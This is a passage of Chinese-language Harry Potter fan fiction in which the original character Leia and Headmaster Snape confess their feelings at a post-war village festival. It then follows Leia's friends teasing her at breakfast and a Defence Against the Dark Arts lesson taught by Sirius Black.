前方的河流被醇厚透亮的阳光抚得浮起一层浅绿色的幻光,不时碎开点点的浮金色。在翻涌着的不真切虹辉中,有弯弯的芦苇青翠抹开在摇曳的水面,同时倒映在那里的,还有一座石桥。 蕾雅顺着石桥的方向望去,才发现对面是个过分热闹的村落,熙熙攘攘的叫卖声和笑声沿着风的方向扑来他们这边。而仔细看的话,可以观察到攒动的人们,带着尖帽子的巫师、奇装异服的卖艺人、调试乐器的吟游诗人、还有正忙于往刚搭好的店铺上挂装饰的商人。远方,彩色的三角旗帜和五色的氢气球漂浮在村庄的上空,像是开在各色锦簇的繁花。 “嗯……?”她向身边人投去疑惑的神色。虽然她并不太会因为他带着她幻影移形乱跑而感到吃惊,毕竟有一次他可是带着她到了山岳之巅去寻找暮光幽影花。不过,面前这景象还是让她感到有些不解。 “禁林东北的上霍格米村,是个巫师村落。今晚这里会举办庆祝战后的夏日庆典。”斯内普放开她的手腕,大步往前走。 “呃,”蕾雅跟在他的身后,愈加讶异,“为什么……?” “只是觉得远离霍格沃茨会好一点,而且今晚这里还会有不少特殊魔药材料的摊贩。”斯内普随口解释道,稍作停顿,别过头斜睨她一眼,“还是说,找个麻瓜商场会更符合你的想法?” 顺着他的话,蕾雅突兀地想起母亲藏书里放着的几本爱情小说——男主,女主,咖啡馆,尴尬的表白,还有被拒绝后扔下钱落荒而逃的其中一方。怎么想都确实不太是斯内普的风格。 她快速地回到:“这里就很好,看看魔药材料也很好。”只要你在就很好。 蕾雅把后面这句话吞在肚子里,跟他一起跨过了石桥。 迎面有几个伫立岸边的村民,抱着几筐大概是准备用来摆摊的果物,有些好奇地向他们投来目光。 “领带。”斯内普略带嘲讽地提醒着,“如果不想被人知道你是个逃课的霍格沃茨学生。” “那我一定会告诉他们,是斯内普校长带我来的。”蕾雅边调侃,边顺从地摘下领带塞在裙子的口袋里。 他没接话,两个人穿过石桥,村门口是大片尚未成熟的南瓜地,那些横七竖八的果实渗出一种仿佛能尝到苦味的青色。另一侧是一方恶作剧牵牛花田,明黄色的花骨朵正迎着灿阳的方向抖动,十分惹人怜爱。 蕾雅看了一会儿,跟着他沿鹅卵石小路走进村中广场,那里正搭建着一个演奏舞台,几个装着乐器的陈旧木箱被堆砌在一边。有高高的桅杆竖立在舞台后面,那些随风飘扬的三角小旗子就是从这里出发,延伸到各家各店的烟囱。广场的边缘是一排仍是空旷的露天商店,显然是今晚贩卖各种特殊物品的场所。 村里有各式各样的人,都在忙碌着什么。还有几个看起来就是观光客的巫师在悠闲地交谈。斯内普赶在被他们发现前,带着她重新走向河岸,他们顺着村里水车磨坊平台往前,那里有一座酒馆。现在还很早,几乎没有人坐在那里。 “饿吗?”他问。 “还真有点。”她诚实地摸了摸肚子。 他们在酒馆靠近河流的空位置里坐下,一侧的露台上有几个聊着天垂钓的村民,没有过多地关注他们。蕾雅别过脸,看到刚重建好的磨坊仓库,墙上挂着崭新的“Delicious Butter Beer!(美味黄油啤酒)”标语,让人忍不住想起那种沁凉的甘甜。 斯内普点了一份三明治和黑咖啡,而蕾雅则要了一份炸鱼薯条和黄油啤酒。在等待餐品做好的片刻里,斯内普脱掉了外套,把它们随手搭在椅背上,应该是被初夏的太阳晒得有点热。 两个人沉默地沉浸在日光里吃完了食物,蕾雅不时偷偷看他的侧脸。但他始终都没有看她,只是懒懒地将一只手搁在桌子上,另一只手则端着饮品,稍稍侧过身注视着河边钓鱼的人们,黑眸偶尔随着被从河中扯上来的鱼晃动一下。 这些场景都是她不曾见过的。让她莫名地开始想知道更多的,斯内普离开了霍格沃茨后的面孔。那是她从未敢想象,也从未敢相信竟然能看到的。 “我的脸上,可没写着字。”他用一贯冷淡的口气打开对话。 “只是在想,您是不是也想加入他们一起钓鱼。”蕾雅低头喝了一口冰凉的黄油啤酒,没有急着吞下去,而是让奶油和焦糖的香气在口腔停留,最后咽下还能感受到肉桂的余韵。 见他沉着脸不说话,她又连忙岔开话题:“您今天,不忙?” “都扔给邓布利多了。”斯内普不冷不热地答。 这么一说,蕾雅就想起审判厅最后斯内普走向邓布利多的情景,看来是那个时候的决定。 那么,他是特意为了跟她出来,所以把工作都推给邓布利多?也就是,邓布利多完完全全知道斯内普是要跟她出来? 想到这里,她的脑中显出邓布利多最后那个赞赏而意味深长的笑容,分明就是老人家过分热心的慈祥关爱。随即,一股寒凉的气息从她的背脊上弥散开来。 她晃晃脑袋赶走想法,顺着他的话聊下去:“这一个月,想必您很辛苦吧?” “我想,这不是你眼下要关心的事。”斯内普把注意力从翻着白肚皮的鱼儿上收回,回头看着眼前的人。除了微蹙的眉头,他的脸上没有任何表情,“你没有什么要问我吗?” 蕾雅怔住了。问他?问什么?——问他的心意?问他有什么打算?还是问他内心的真实想法? 可是,好不容易才恢复到正常交往的程度,万一她选择了错误的问题,又让他们回到晚会的那一夜那样,该怎么办呢? 她真的宁愿保持现在这种适度的距离,也不想他再推开她。 蕾雅踌躇地看他,想从他的眼里探出一点提示。但那双黑色的眼眸里没有任何情绪,宛如夜晚深沉无光的森林,看不明白他到底在想什么。 “嗯,”她摸摸鼻尖,声音里带有浓厚的犹豫,“我想问您,今天过后,您还会推开我吗?” 这个预想外的问题倒是让斯内普窘迫地顿了顿,他的唇慢慢抿成一道线,直勾勾地盯着她的脸。 梅林知道,他现在压在内心的这些话,是自那晚以后一直考虑到今天早上才做好决定的。而这近一天一夜的漫长时间里,眼前这个家伙的哭脸一直浮现在他的脑海,是让他忘也忘不掉,也让他更深刻地意识到他已不再舍得让她哭。 其实这个决心对斯内普来说无比艰难。比起在邓布利多和伏地魔之间周旋游走,这种最简单的坦诚更让他感到煎熬透顶。毕竟他总是很少主动在别人面前坦露自我,除非是无可避免的情况,比如说今日的审判。 一直以来,他更倾向于选择一种晦涩的方法来达成目的,就像他曾求助于邓布利多时,也从未亲口承认对莉莉·伊万斯的感情。而这种行为的根源在于,他从小就处在一个即使表达内心也不会被尊重和回应的环境。 但是,她不一样。她的世界是完整而敞亮的,她已经付出足够多,也见到足够多的黑暗,她不应该再被他如此对待。他很明白这一点,所以他会决定在今天将所有的话告诉她,无论结果如何。 斯内普抽回思绪,放下喝完的咖啡杯。尽量让语调听起来沉稳而冷静那样:“听好了,蕾雅,这些话我只会说一次。” 蕾雅吞咽了一下,直直地看进他深不可测的双眼。 “那一晚以后,我认真地考虑过我们的关系。”他讲得很慢,很郑重,斯内普可从来都没有对谁这样过,“我不会否认我对你的感情。但我依然觉得我不该允许自己接受你的心意。” 他承认了那些早已隐藏不住的情感。 这是蕾雅第一件反应过来的事。心里却说不上是开心还是难过,她小心翼翼地放下剩了半杯的黄油啤酒,静静地注视他,继续等待接下来的话。 “我想过很多,关于我们的年龄和身份。但更多的是,我认为,我们的关系是不会对等的。”斯内普的黑眸直视着她,语气依然平静。 “我明白的,先生。”她假装轻松地笑笑,“我只是不希望……” “不,你还没完全明白。或许我该说得更清楚些,”斯内普打断了她的话,脸上有一种不自然的晦暗,好像是痛苦,又好像是释然,“我的意思是,你跟我完全不一样。你的世界才刚刚开始,你的未来充满可能。离开霍格沃茨以后,你会去很多地方,你会遇到很多人。他们会更好、更优秀、更适合你,也更懂得珍惜你。” 他的嗓音太温柔,说出的话却无比悲伤。话语停住,她的眼里蓦地有什么随之暗淡了下去。 有眼泪倏地坠落,头顶的阳光在这一刻变得刺眼至极,使她的眼睛更加难受地发热,声音也随之颤抖:“可是,我觉得您已经很好了。”她思索数秒,依旧毫不退缩地直视他,略带恳求地回答:“其实,我也从未期待您会回应我的感情。您或许不记得了,您曾经在地窖里对我说的话,它们救赎了浑浑噩噩的我。我原本并不奢求与您有什么可能,只是希望您不要再推开我。” ——“你该对不起的,是你自己的时间。” 这是他当时的话。 斯内普听着,想起来当时的情景,苦涩地笑了一下,“我不知道那些随口说的话,竟然对你这么重要。”他低声继续:“然而,你的才能和天赋就在那里,即使不是我,也会是别人发现它们。” “可是,就是您先看见了我。”她努力平整呼吸,稍稍提高了些音量,好像是在拼命地向他传递话里的意义一样。她忍住在打转的泪水,一字一顿地强调:“是您跟我一起走到了今天,不是别人。所以,您怎么能认为在跟您经历了那么多事情后,我还能喜欢上别人?所以,为什么不能是我们一起去更多的地方?” 这些语句,简单、真挚、没有任何的修饰,却让斯内普的身形完全僵住。 是他先看见了她。 正如是她,先看见了他。 “您对我来说足够好了!如果您还介意年龄的话,等我们一起活到一百岁的时候,这些差距根本就无所谓。难道您能记得邓布利多先生今年多少岁吗?”蕾雅见他不接话,自顾自地把埋藏已久的心思一股脑儿地倒出来,语气中带着些许任性的赌气:“我不敢现在就保证我不会后悔,但谁能预见未来呢?您能肯定,推开我后,您不会后悔吗?” 她真的,这么直接地告诉他想跟他一起活到一百岁? 本来还觉得有些许苦闷的斯内普,被她这异想天开的话引得也泛上一抹淡淡的笑意。他忽然觉得她就是一头倔强狡猾的小兽,平时看起来温驯乖巧,但必要时候就会用一个个执拗的问题敲击着他的心,逼他思考,逼他面对,逼他——回应她。 一起走到现在,要说他没有被她身上那种格兰芬多天性感染,那是不可能的。甚至在某些时候,他忍不住设想,要是他也有她这样的坚定勇气,故事是不是会不同?要是曾经的他也这样勇敢——是啊,他已经错过一次了,还要继续遗憾吗? “我话还没说完。”他用眼神让她暂时停住执着的挣扎。 沉默片刻,他重新直视她的眼睛,看她眼里沉住的那些轻易撬动他的情愫。像是恒星,像是宇宙,像是万物,像是铺满心底的、温暖而笃定的坚信。 他极力掩饰内心的动荡,喉结上下滚动几次,声音沙哑得不像是自己地开口:“你确定,这真的是你想要的吗?”这个简单的问题,已耗尽了他所有的勇气。 “确定!”她坚定地回答,边哭着边抽着鼻子固执地补充道:“……您要是不信,可以摄神取念我!” “我看没那个必要。”斯内普终是没忍住,缓和了脸色。 他探出手去捏捏她滚烫的、渍满眼泪的小脸,语气略带讥嘲地揶揄道:“傻瓜(Silly girl),都写在脸上了,是把我教的都忘了吗?”他皱着眉抹掉她涌得更凶的泪珠,又低声说:“你父亲一定不会同意的。” 听见父亲二字,蕾雅这才后知后觉地鼓起嘴。她眼睛一转,很快找出解释:“爸爸早就知道我的心思了。而且,他明明也挺喜欢您的。如果他真不同意,您觉得当时在家里他会给我们那么多独处的机会吗?” 这句话倒是戳中重点。莱恩哈特先生护崽的心情在魔法界可是出了名的。如果他真的不同意,斯内普早已在莱恩哈特家死了很多回。 在斯内普再次的静默里,蕾雅用手背擦了擦脸颊,没想到放下的瞬间就被他拽了过去。 她顺着他的动作看去,斯内普从口袋里拿出审判会结束时候金斯莱还给他的证物,将其中一个小心地带回她的手腕上面,他则带上了另一个。 银手环在他的手腕上被日光照得熠熠生辉。蕾雅注意到斯内普挽起的衣袖,苍白的皮肤上只剩下青紫色的血管。她没忍住伸出手,沿着血管的纹路轻抚而上,就像是回到了那个雪夜里一样。 “消失了啊……”她喃喃道,“太好了。” 斯内普勾了勾嘴角,没有阻止她的动作,等她再次抬头时,他握住了她的手,牵着她站起:“好了,好不容易到这里来。” 几乎是与此同时,一阵猛烈的彩炮声从广场传来,随之而来的是悠扬而热烈的音乐韵律。不知什么时候,周围早已溢满了人声,似乎是祭典的开始。 天色渐渐低暗,黄昏的暮色先是染开浓厚的暖橘,而后变成一整片氤氲缱绻的雾蓝。在这种奇异梦幻的光影里,他们再次挤进欢闹的人群。 他们在喧嚣中一起逛着集市,看过各种珍奇的手工小玩意,以及不少的魔药材料——新鲜且野生的独角兽毛、月亮石、金色雪花莲,甚至还有几片极为稀有的嗅幻草。斯内普毫不犹疑就将之买下,还购置了一些上好的独角兽毛和月亮石,装进他的口袋里。 等察觉到的时候,他们已被人潮推搡着来到广场中央。祭典正进行到最高潮,激昂的风笛、手鼓、口琴和鼓声交织在一起,还有不时响起的欢笑声和掌声,随着起舞的人们构成一场震撼人心的盛宴。 “庆祝夏日!” “庆祝胜利!” “庆祝即将到来的丰收!” 一个巨大的稻草人被火焰魔法点燃,熊熊的火光冲上天空。而后,就在尚未全然暗下的天色里,有一束束烟花兀自升起,骤然爆炸,旋开绚丽的光彩,变成了每一个人眼中的憧憬。 人群中顿时爆发出热烈的掌声,愈加兴奋地跳起庆祝的舞蹈。推攘、拉扯、尖叫、欢呼、碰杯,几近失控的场面让斯内普紧紧地护住她,害怕被人潮冲散。 从被感染的情绪里缓神的时分,蕾雅才发现自己不知不觉地快贴在斯内普身上,而他的手臂仍然有力地环在她的背后——他知道自己在做什么吗? 她红着脸,有些讶异地抬起头:“先生?” “别动。”斯内普压低声音,将她按向自己,“还有,别那样叫我。” “那……”她了然地牵开更粲然的笑容,小声唤他:“西弗勒斯?” “嗯。”他佯装冷静地应她,却没有注意到嘴边有没藏好的笑意。 花火在灿烂地绽放,红的、绿的、紫的,宛如天空中的奇迹,一抹消逝又有更多的燃起,周而复始,恒久流转。听着这些仿佛象征着生命诞生的响声,她想起那一年跨年时对烟花许下的愿望,希望能找到一件为之毕生奋斗的事。 她愣了愣,久久地凝视着眼前的人,想不清楚走过了这么长的一段路以后,她这算是找到了,还是没有找到。但是——唯一肯定的是,她找到了他。 “怎么了?”斯内普注意到了她灼热的视线,低下头。 她稍微停顿,按捺住心中划开的迫切,伸手点了点他挺拔的鼻尖,之后将他拉了下来,凑到他耳边,“西弗勒斯,我现在想说——我——” “等等。”斯内普一愣,迅速地打断了她。他迎上她困惑的眼神,用指尖将她脸侧的垂发拨到肩后,轻轻地摩挲着那张被烟花和血色染得通红的脸,不自觉地让声音更加柔和,几乎是耳语:“让我来说。” “说什么?”她往他温 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她也再不需要更多的话语,世间所有的美好都不如此刻他无法掩饰的心跳。她微微一笑,踮起脚,轻轻碰了碰他的唇。 仅仅是须臾,西弗勒斯整个人都沸腾了起来。就好像是冰雪碰上了热火,发出猛烈的叫嚣,只一瞬间,他便觉得身体要化作雾消散。溶化的水汽蒸得心脏愈发肿胀,正在拼命挤压着胸膛,是那么有力,一阵阵的闷痛让他难以自抑地热了眼眶。 砰砰。 西弗勒斯的大脑一片空白,完全来不及反应。他的心里也还没做好任何准备,身体却已然抢先俯下。 他再一次吻住了她。 砰砰。 好像是生来第一次,他突然感激自己活了下来。 也好像是生来第一次,他突然如此清晰地感知到身边的一切。 砰砰—— 他听见剧烈的心跳和她的喘息,闻到她身上的淡淡香气,是绣球,橙花,还有罗勒。他感觉到湿热,柔软,还有缠绵,还尝到黄油啤酒的甜味。这所有的纷杂,都让他像个新生的孩童一样,彷徨不已、手脚无措,只好将她搂得更紧,想要用力地记住她的触感、她的体温、她的气味、她的所有。 这不是梦。她就在这里。 这不是梦。他也还活着。 “唔……”意识终于回拢的同时,斯内普才察觉到她发出因氧气不足的哼声,她正揪紧了他的衬衫。 他急忙放开她。 “……”蕾雅微张着嘴喘气,翠绿的瞳仁里闪烁着斑斓的薄光,面颊和嘴唇都比刚刚的烟花还要红。 “……”斯内普稳住呼吸,难堪地垂下眸,迟疑着用指腹掠过被他吻得鲜艳红润的唇,仍有留恋般按了按,先开了口:“……抱歉。” 浅尝辄止,却带来更汹涌的波澜。 明明,也不是第一次吻她。明明,已经这个岁数了,怎么回事? 蕾雅愣住一瞬,很快就注意到斯内普泛红的眼中藏有的克制。她笑着在他怀中摇摇头,把脸埋在他的衣服里,害羞到说不出话,只是回应般用手环在他的腰侧,任由被他身上那种清冷而苦涩的气味包裹着。 他感受到她起伏的吸气,于是紧张地问:“好些了吗?” “嗯,我好着呢。”她点点头,又问:“西弗勒斯你呢?” 他完全没想过她为什么要问他。不过他还是低笑一声,“如你所见,不能更好了。” …… 回到霍格沃茨的时候已是夜晚。 他们的幻影移形停在了离校门稍远的阴暗处。没有赶时间,他穿上外套,整理得一丝不苟。然后等她慢悠悠地重新系上领带。 四下无人的寂静中,她忽然再度踮起脚在他脸上一啄,随即露出恶作剧得逞的浅笑,却硬是让他没能狠下心来呵斥她的大胆。 他伸手拍了拍她的脑袋,沉声道:“从明天起,给我好好专心准备考试。” “知道的。”蕾雅应声,又问道:“那,你还会帮我吗?” “只要你还需要我。”他瞥向她,故作淡漠地说。 “我当然需要!” 空气中弥漫着初夏泥土和树叶的清香,他们并肩走在小路上,脚步踩过星月光辉浸透的石板,伴随着路灯投下的微光和阴影,往霍格沃茨踱去。 “还有……”她的视线停在一旁暗淡的路灯上,一只灯蛾正在锲而不舍地围绕着没有一丝温度的金属外壳扑翅。 “嗯?” “当时,为什么让我看见那些?”蕾雅略带紧张地挽起垂下的发丝,谨慎地问到:“我打破你摄神取念的时候。” 斯内普被这个问题惹得停住了脚步,侧过脸转向她:“你觉得呢?” “想让我知难而退?”她尝试着说出心里一直的想法。 “算是吧。”斯内普垂下眼睑,眉心微拧,斟酌一阵,继而接着低声询问:“你会介意吗?” “介意?”蕾雅歪了歪脑袋,没有完全明白他的意思。 “我的过去。” 她听完后,没有立刻回复。探出手去找到藏在黑袍下的大手,轻快地说:“你现在会感觉好点吗?” 斯内普没有对她的反应感到太意外,只是低低地笑了一下。他抽出魔杖,在虚空中划出一道明亮色的弧线。 “Expecto Patronum。” 她呆呆地,望见从他魔杖尖端迸溅出来的银色光丝,逐渐汇聚成一团灵动的光辉。她本以为会见到那只晶莹剔透、可爱优雅的小鹿——可是,那些银色粒子却幻化成了一只大鸟。 一只雄鹰。 它翼展宽阔,羽毛散发着银色的粼光,仿佛星辰在黑夜中点点闪烁。它的眼神锐利而坚定,流露出无畏和坚韧的气质。与她眼神交汇的瞬间,它迎着她的惊讶轻盈地滑翔而下,准确无误地降落在她探出的手臂上。 “这是什么时候的事?”蕾雅摸了摸雄鹰高傲的脖颈,抬起手,守护神顺着她的动作起飞,朝前方霍格沃茨的方向展翅翱翔。 “等我意识过来的时候就是这样了。”斯内普的话语里有一丝无奈,但依然和她一起眺望着雄鹰飞向城堡。 鹰越过沉在夜色的庭院,沿着修整过的墙砖不断盘旋往上。在远处的高塔窗边,还有一个人站在那里对他们挥手。是邓布利多,他像他们一样,放远了目光,欣慰地见证着这只崭新的守护神划过霍格沃茨的大地。 稍近一些的地方,有几个穿着格兰芬多校服的学生从塔楼里跑出来,他们背对着室内的暖光,错愕地捂着嘴望向他们。 “啊,是赫敏他们。”蕾雅认出了建筑物前的熟悉身影。 “跟他们回去吧。”斯内普的手掌在黑袍底下稍稍紧了紧她的手指,而后松开,催促般说:“反正,我们还会有很多时间。” 蕾雅眨眨眼睛,往前走了几步,随后停住脚步,回头对身边人绽出一抹羞赧的笑,眼眸温婉动人,“晚安,西弗勒斯。” “晚安,蕾雅。” 他望着她转身快步跑向他们,没有急着离开,而是留在原地默默地看了一会儿塔楼里的事。那几个格兰芬多小狮子毫不客气地打趣她,她追着他们一路跑进塔楼,跑上大理石楼梯,跟许许多多、穿着各色校服的学生们混在一起。他们嬉笑、打闹,沿着楼梯一步步往上,最后消失在转角处。 收回目光,他忽而发现,那些长久以来盘踞在心里的苦楚似乎都平息了。不知道什么时候,他的伤口早已干涸并风化,变成了时间长河里一捧微不足道的细沙。(1) 他感到前所未有的平静,不紧不慢地拐进一旁漆黑的庭院。此时,银色的雄鹰已飞过霍格沃茨古老的屋顶,他目送着它飞过那一座座的尖塔,飞过刚重建好的魁地奇球场,飞过沉寂的黑湖和幽深的禁林,飞越了群山,飞往了天际。 沿着它离去的轨迹,慢慢碎散的亮白星屑就像一场浩大温润的雨,在无声的世界里落了下来。 66.确切 幸福(happiness)。 这是一个斯内普至今为止都没有想象过会用在自己身上的词,更不敢相信真的有资格拥有它。 然而,它好像真的要发生了。 是什么样的感觉呢。 就像是心底深信伏地魔已死,所有任务终于结束的宁静。 就像是近一个月以来,终于,所有文件都能在前一晚完成,无梦自然醒,餐桌上的咖啡浓淡温度都适中,加急出版的《炼金术士》中关于邓布利多复生魔药的介绍并没有添油加醋。还有,从早到现在,他都没有碰见过一个违规的学生,一切都井井有条的日子。 又像是——在早餐时不经意间,看到她对朋友们莞尔的笑容。 她今天有点不一样,平时一直垂散的长发被绑成了高高的马尾。夏服衬衫被魔法烛火隐隐映出内衬背心的轮廓,再往上,是她柔白的后颈,还有一路铺到到耳根的玫瑰色。 他把注意力从那里挪开,转为追踪着她手间的动作。她正孩子气地跟金妮争夺一盘黄油曲奇,翠绿的明眸里有佯装的淘气。他静静地看着她鼓着嘴和他们打闹,那湿润的殷红立刻让他回想起昨晚的柔软,没过一阵,当时那种难以自控的冲动便再次涌现。 这分明是浅尝辄止带来的余波。他此时自觉意识到是他的内心在渴望着触碰。 这分明是一种前所未有的情绪。是贪恋,是索求,是不安,也是一种茫然的患得患失。 他不明白为什么会有这样的感受,明明他最初并没有打算要回应她的感情的。自己似乎越来越不认识自己了——这是拥有她的感觉吗?为什么让人如此惴惴不安? “既然你还没有扣格兰芬多的分。看来,昨天进展顺利?”邓布利多适时开口的嗓音将他拉回现实。他搁下手里《预言家日报》的瞬间,就注意到身边人的心思早已不在手中的早餐上。 斯内普略微撇嘴,侧目瞟向老巫师,不紧不慢地舀起一勺豌豆送到嘴里,装作刚刚什么事都没有发生过那样:“我不介意现在就去给波特和每个韦斯莱扣五分。” 邓布利多立即笑得更欢乐,回应道:“只给哈利和韦斯莱扣分吗?这是偏爱啊,西弗勒斯。”他喝下大半杯橙汁,眨了眨眼凑近低声说:“但是,我真为你感到开心。” “哈利怎么了?”这时,布莱克那不比斯内普多多少温度的话语从长桌的另一头响起,他已完成早餐,正起身去准备早上的课。 “这不关你的事,布莱克。”斯内普连头都没有转,语气也如瞬间坠入寒风呼啸的深谷般阴冷。 “确实和哈利没什么关系,也不是什么值得浪费准备早课时间的事,西里斯。”邓布利多摆了摆手,和蔼地对布莱克笑着,又催促般:“快去准备吧。” 布莱克冷哼一声,不情愿地从教师席上离开。与此同时,更远处的斯拉格霍恩缓缓地放下餐具。他一脸苦相地站起身,一边用丝绸手帕擦拭嘴角,一边挪着庞大的身躯挤到邓布利多和斯内普中间:“哎,西弗勒斯,跟你商量个事。” …… 今天的天气不好,魔法天空倒映出模糊不堪的光晕,仿佛是头顶漂浮的绵延无尽的雾。但格兰芬多长桌这边,蕾雅完全没有任何心情去看这层横在教师席前的幻美。因为从昨晚开始,自从赫敏、哈利、罗恩、金妮四个人在塔楼前目睹到蕾雅跟斯内普一起出现在校门口,她就不断被这群小狮子围着,追问他们到底是什么关系,还问她是不是战争期间就偷偷跟斯内普在一起了。 他们在公共休息室里吵吵嚷嚷着“大蝙蝠”、“老男人”、“恋爱”、“怎么可能”、“不是吧”、“快跟我说”之类的话直到深夜,几乎弄得整个格兰芬多都要知道她恋爱了。而且,在罗恩从大惊失色地喊着要洗眼睛的咆哮里恢复自我后,他便一口咬定就是看见了他们牵手,无论蕾雅如何辩解。这惹得金妮愈发好奇真正的情况,差点没让她回房间睡觉。 比这些更糟糕的是,自从斯内普昨天的指控被驳回后,今天一早的《预言家日报》头条就是他在审判会上起身自辩的照片。那身肃穆的黑袍和严肃的面容印在单色的报纸上,显得他凛冽俊傲,也让她费了很大的力气才忍住不去看。 说实话,她哪里想得到他们就这么正正好好地撞见她跟斯内普一起回来呢?最终,蕾雅只好保持一副无奈的缄默,心里暗想,就是再能保守秘密的人也难以抵挡这样的压力,要么——还是给他们来几发遗忘咒吧!作为校长的斯内普肯定不会因此而让她退学。 她眯了眯眼,不动声色地将报纸翻到背面,用手肘压住,随后咬了一口手里的黄油曲奇。 哦对了,还没跟拉文德说呢,之前没想过真的会跟斯内普在一起,所以随口答应的……她瞄见拉文德在长桌的另一边投来的求知暗示,急忙避免更多的对视。算了,她现在够麻烦的了,再等等吧。 唯二的知情者赫敏和哈利默默注视着蕾雅的一举一动,两人微笑着交换了一个悠长的眼神。而哈利旁边的金妮趁机探出身,没收了蕾雅正吃得欢快的黄油曲奇,调皮地朝罗恩眨了眨眼。 蕾雅低头啜饮一口温热的拿铁,刚要伸出手去继续拿曲奇,却发现那里空空如也,只剩下一块罗恩擦过手的脏布。她愣了愣,错愕地抬眸,旋即撞上金妮调皮而玩味的表情。 金妮晃了晃手里盛着黄油曲奇的瓷盘,略有挑衅地说:“说吧,蕾雅,你们俩昨晚到底干嘛去了?你们到底什么关系?” “你们乱说什么呢!”蕾雅努努嘴,探出身子去够,想收回吃到一半的小甜点,但金妮猛地把曲奇举得更高:“别想转移话题,我们都看到了。” 见金妮把那个小盘子拿得更远,蕾雅咬了咬唇,面色更无奈地潮红起来:“真不是你们想的那样。” “得了吧,蕾雅。”罗恩一边大口嚼着烤面包,一边挑起眉毛打量蕾雅,嘟囔道:“真以为我们看不出来?你总不能跟我说,你昨天是跟斯内普去采魔药材料吧?这可说不通啊!” “就是你说得那样。”蕾雅摸了摸快要沸腾起来的脸,求救般瞟向正不做声喝着咖啡的赫敏,决定放弃那盘曲奇。 “好啦,别捉弄她了,金妮。”赫敏捏了捏蕾雅的肩膀,充满同情地劝慰:“等下你把她欺负哭了,说不定……。” “斯内普就会来哄她——”金妮做了一个浑身哆嗦的动作,戏谑道:“梅林的胡子!光是想想,就花光我的勇气了。” “别说了,我想吃呢!”罗恩低呼一声,做了个呕吐的表情,慌张地挥了挥手里的面包。 “赫敏!连你也这样!”蕾雅故作生气地瞪了赫敏一眼,毫不客气探手掐赫敏的腰,赫敏笑到几乎喘不过气。 “行了,不逗你了。”金妮笑眯眯地将曲奇推回蕾雅面前,“至少告诉我们,你到底喜不喜欢他?” “金妮,她都这样了!看看她手上一直戴着的手环吧!”罗恩立马接过话,他咽下最后一口面包,面颊上挂满恶作剧的意味,“伙计们,快告诉她,她这脸红得跟哈利盘里的苹果没有两样。” 哈利笑得差点吐出嘴里的苹果片。他摆了摆手,匆忙大口喝过红茶,拿起餐巾揩了揩嘴,做了个噤声的手势。他满脸认真地看向蕾雅,故意般低声重复了昨天在审判室里的话:“他又在看你。” “什么?”蕾雅一惊,蓦地收回戳着赫敏的手指。她迅速调整了一下坐姿,拿起失而复得的曲奇,清了清嗓子:“真不是你们想的那样,别闹啦,他要是过来扣分我们可就惨了。” “哦?”罗恩忍不住又开口,“你这么一说,我倒想知道他是不是会只扣我们,而不扣她的分。” “对哦……”哈利眼睛一转,似乎觉得发现了新大陆,他凑前身:“弄得我也好想知道,要不……。” 两个男孩顽皮地对上了眼色,相视一笑,愈加灿烂。 不过,还没等在他们来得及进一步验证这个事情,麦格教授不知何时站到了长桌旁。她双手叉腰,目光严厉而不可置信地扫视着众人:“各位,我理解你们因战争胜利而兴奋,但已经一个月过去了,你们难道忘了霍格沃茨的规矩吗?”她顿了顿,沉声继续说道,“还是你们真的想让斯内普校长亲自过来,让我们成为大战之后第一个被扣分的学院?” 蕾雅微微愣住,眼睛这才擦过麦格的身侧往教师席上望去。见斯内普正在跟斯拉格霍恩教授交谈着什么,似乎并未注意到这边的动静,她松了口气。收回目光,她朝金妮和罗恩皱皱鼻子,然后转向麦格教授,轻声说:“对不起,麦格教授。” “是我不好,麦格教授。”金妮也跟着道歉。 麦格叹了口气,深绿色眼睛透出一点耐人寻味的神色。她看了蕾雅一眼,放缓声音:“好了,如果你们不想迟到,我建议现在就离开礼堂前往教室。我没记错的话,今天第一节是七年级的黑魔法防御课,对吧?” 确实是。 而且,这周接下来的黑魔法防御课都会是布莱克教授,因为接近满月了。卢平自战时受伤且战后忙于照顾小泰德,身体状况始终未能完全恢复,这使得他的休息时间比以往多了许多。当然,布莱克的存在也使得卢平可以彻底放心。近一个月,卢平与小泰德安心地住在霍格沃茨,因为唐克斯在魔法部忙得不可开交,无法分身照料这对父子,这么做也方便了斯内普给他提供狼毒药剂。 这时,布莱克正不羁地倚靠在讲台上,身着一件暗红色的灯芯绒西装,随意地用魔杖指挥粉笔在黑板上划出哒哒哒的声响。他的的嗓音沙哑而有力,言语中流露出一种随性的骄傲:“别看我这样,我当时NEWTs可是拿了很高分的。当然,卢平教授也是。” 他身上散发的那种复古的静谧感,搭配着此时细碎的云影和粉笔溅起的尘屑,莫名让人想到古典的英伦电影画面。 自从布莱克在霍格沃茨教授黑魔法防御课以来,旁听的学生数量明显增多,连一些低年级的学生也纷纷表示因为对战争的恐惧而选择来这里提前学习。而无论是卢平还是布莱克,他们几乎从不拒绝任何学生的请求,教室因此渐渐地挤了越来越多的人,有几次甚至坐满侧柜和地板。 “上节课卢平教授讲到了1945年战争中使用的黑魔法,让我们先回顾一下这些魔法的种类和防御方法,这些在考试中也是关键知识。”布莱克慵懒地写着板书,“等我们回顾完这些理论,我希望你们可以实际操作一下,看看如何防御它们。”他淡然一笑,用热情的灰色眼眸扫视着一张张期待而稚嫩的脸庞。 蕾雅抄完了那些古老巫术和诅咒术的板书,随即整理出1945年战争里使用过的黑魔法种类。她发现,与1945年的战争相比,伏地魔和食死徒似乎主要青睐索命咒,而实际上,黑魔法的种类远不止此,甚至可以说,他们所使用的魔法只是所有存在的魔法的冰山一角。 她侧了侧脑袋,慢悠悠地用手指抚平一页翻起的书角,还在思考这意味着什么,就被布莱克点到名字,叫到台前。 “蕾雅,你先来,然后是赫敏。”布莱克把小黑板和讲台缓缓推到身后,态度温和而优雅,像是一种无法抗拒的邀请:“尝试防御我接下来施展的魔法,我不会告诉你是什么。” “好的,布莱克教授。”蕾雅迎着满室的期待热切,整理过衣服,拿起魔杖走上前。 可能是作为第一个演示的学生,布莱克在蕾雅身上的演练花了最长的时间。也不知道是有意还是无意的,她总觉得布莱克先生是在趁机试探她的实力。要不是有战争的演习,和斯内普不断对她训练,她差点就要在课堂里受伤,有好几道隐形的束缚咒她几乎没能及时感知到。 “你做得很好。”布莱克微眨右眼,露出赞赏的神情。接着,他转向正暗暗做着心理准备的赫敏,“来吧,赫敏。” 尽管获得了教授的认可,蕾雅仍对这些复杂的黑魔法感到心有余悸。直到吃午饭的时间,她还能感受到布莱克身上那种凌厉而无畏的气场,仿佛耳畔还能听到那些魔咒的呼啸。 